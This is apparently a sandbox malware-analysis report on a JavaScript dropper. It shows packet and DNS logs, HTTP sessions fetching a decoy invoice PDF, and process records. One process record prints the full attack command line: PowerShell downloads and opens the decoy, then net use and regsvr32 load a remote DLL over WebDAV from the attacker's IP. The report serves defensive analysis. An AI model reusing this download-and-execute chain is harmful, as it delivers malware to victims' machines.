Jan 10, 2025 19:28:18.394234896 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.394243956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.394251108 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.394251108 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.394262075 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.394270897 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.394273996 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.394283056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.394294024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.394298077 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.394304991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.394320011 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.394335985 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.394344091 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.394347906 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.394347906 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.394354105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.394366980 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.394381046 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.394390106 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.394398928 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.394398928 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.394401073 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.394412041 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.394469976 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.394577026 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.394587994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.394598961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.394608021 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.394637108 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.394637108 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.415957928 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.421437025 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.443963051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.443994045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.444005966 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.444113016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.444127083 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.444171906 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.444171906 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.444194078 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.444207907 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.444221020 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.444231033 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.444291115 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.454125881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.454140902 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.454154968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.454200029 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.454221964 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.454238892 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.454265118 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.454277039 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.454288006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.454354048 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.454354048 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.454354048 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.454365015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.454377890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.454463959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.454474926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.454490900 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.454497099 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.454502106 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.454605103 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.454618931 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.454631090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.454634905 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.454667091 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.457062006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.457075119 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.457087994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.457107067 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.457209110 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.457211971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.457226992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.457240105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.457252979 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.457267046 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.457283020 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.457283020 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.480380058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.480410099 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.480423927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.480442047 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.480465889 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.480520010 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.480534077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.480546951 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.480555058 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.480555058 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.480562925 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.480668068 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.480679989 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.480719090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.480732918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.480748892 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.480767965 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.480767965 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.480822086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.480835915 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.480854034 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.480880022 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.480887890 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.480887890 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.480894089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.480910063 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.481091976 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.481277943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.481292009 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.481304884 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.481314898 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.481348991 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.483381987 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.632586956 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:19.108983040 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:19.113909006 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:19.114052057 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:19.114264965 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:19.119225979 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:19.930428982 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:19.971939087 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:20.506894112 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:47.144952059 CET	65078	53	192.168.2.8	1.1.1.1
Jan 10, 2025 19:28:47.149720907 CET	53	65078	1.1.1.1	192.168.2.8
Jan 10, 2025 19:28:47.149794102 CET	65078	53	192.168.2.8	1.1.1.1
Jan 10, 2025 19:28:47.149876118 CET	65078	53	192.168.2.8	1.1.1.1
Jan 10, 2025 19:28:47.154656887 CET	53	65078	1.1.1.1	192.168.2.8
Jan 10, 2025 19:28:47.613445044 CET	53	65078	1.1.1.1	192.168.2.8
Jan 10, 2025 19:28:47.614211082 CET	65078	53	192.168.2.8	1.1.1.1
Jan 10, 2025 19:28:47.619211912 CET	53	65078	1.1.1.1	192.168.2.8
Jan 10, 2025 19:28:47.619271040 CET	65078	53	192.168.2.8	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:28:26.725230932 CET	52531	53	192.168.2.8	1.1.1.1
Jan 10, 2025 19:28:47.144511938 CET	53	61783	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 19:28:26.725230932 CET	192.168.2.8	1.1.1.1	0x9b10	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 19:28:26.732897043 CET	1.1.1.1	192.168.2.8	0x9b10	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:28:27.417541981 CET	1.1.1.1	192.168.2.8	0xdf5f	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:28:27.417541981 CET	1.1.1.1	192.168.2.8	0xdf5f	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.18	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:28:27.417541981 CET	1.1.1.1	192.168.2.8	0xdf5f	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.37	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:28:27.417541981 CET	1.1.1.1	192.168.2.8	0xdf5f	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.43	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:28:27.417541981 CET	1.1.1.1	192.168.2.8	0xdf5f	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.35	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:28:27.417541981 CET	1.1.1.1	192.168.2.8	0xdf5f	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.24	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:28:27.417541981 CET	1.1.1.1	192.168.2.8	0xdf5f	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.40	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:28:27.417541981 CET	1.1.1.1	192.168.2.8	0xdf5f	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.42	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:28:27.417541981 CET	1.1.1.1	192.168.2.8	0xdf5f	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.21	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	193.143.1.205	80	7684	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:28:16.844512939 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 19:28:17.690088987 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:28:17 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 19:28:17.690103054 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 19:28:17.690114975 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 19:28:17.690145969 CET	224	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]
Jan 10, 2025 19:28:17.690273046 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 19:28:17.690315962 CET	224	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 10, 2025 19:28:17.690325022 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 19:28:17.690433025 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 19:28:17.690443993 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 19:28:17.690517902 CET	672	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 10, 2025 19:28:17.694964886 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49707	193.143.1.205	8888	7948	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:28:19.114264965 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 19:28:19.930428982 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:28:19 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	13:28:11
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\390712401072120127.js"
Imagebase:	0x7ff6ad1c0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:28:12
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll
Imagebase:	0x7ff755cb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:28:12
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:28:13
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:28:18
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	13:28:18
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff755cb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:28:18
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff73e9a0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:28:18
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	13:28:18
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
